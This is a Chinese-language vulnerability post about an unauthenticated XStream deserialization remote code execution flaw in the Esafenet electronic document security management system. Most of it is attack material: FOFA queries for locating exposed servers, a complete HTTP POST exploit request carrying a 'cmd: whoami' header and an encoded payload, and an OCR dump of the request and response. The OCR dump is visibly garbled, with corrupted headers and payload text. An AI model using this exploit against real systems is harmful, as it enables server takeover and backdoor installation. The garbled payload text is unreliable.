Y5-37亿赛通-电子文档安全管理系统-反序列化RCE

漏洞描述:

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web 服务器。

网站图片:



网络测绘:

fofa语法:

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

漏洞复现:

payload:

效果图:

POST /CDGServer3/UpgradeService1?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami

DMBGAJJPKILTBOARBJINADADNALTKHDJYDKGOPELEHGPDONJHAAJKCHBEGMHCLEPFHCKNIFKPEOMHPLOUBGONGGEIGPHIGLAH
KBCEDHFGLDIKIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCHDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPA
NPLIBGDCCNMONDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICTJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBG

 $\verb|NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIC$

Request 〈 〉 数据包扫描 热加载 构造请求 💥 Responses https 5bytes / 126ms 美化 渲染 请输入定位 POST·/CDGServer3/UpgradeService1?command=GETSYSTEMINFO-HTTP/1.1 HTTP/1.1.200 Set-Cookie: -JSESSIONID=9D479959C54338423118D27E4B88E94B: -Path=/CDG Host: 3 User-Agent: Mozilla/5.0 (Windows NT 6.4; NOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0. Set-Lookie: JSESSIONID=904799990.543-364. HttpOnly Content-Type: text/html; charset=utf-8 Date: Sun, '04 Feb' 2024 11:02:22 GMT Connection: close Content-Length: 5 2225.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: text/xml cmd: whoami NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPOPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMN EIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGHDPOMMEDIJNFKDCHHBF MFGBODIOAHLOHNAMOBJABECIJOEKKAPJCBDIDJHKAMAGEELEHJEEIDBDIILLANAKCIIGLMDIDDMOPHCHGLPPOMMIGCEFEBIMOHFA GIHIDHPJCHAEHFPNNHJGIJODICINLAHOAPCJNITABOKBFRBJMFIENLLIPGGKNNHFCAGBHCGHCHBFDBFLKPHLLNOZJAKJDJPOG PBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOB THE BLAGE KAMPO LEKDKOOMHGJOCEPEBRITHPFKEKKMCENNDHEOFRIOPHH FPONFTJEEL JPDIMGPKHODACKEJACLCOKTPFHHECFOP JNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMLUHEMBFGOHELCDBFHIFALD IIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEO LEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBBHCDFHWKKNDHLCGIMWKMBJDGIDJWWGEOEGJNJONNEKFDMEAHMILDKIFB GKGEJCMGOFEKGJEMNAFLDGEOBKOHADBAWHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHD GBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJD IDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDF BDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCOJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPC BDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJN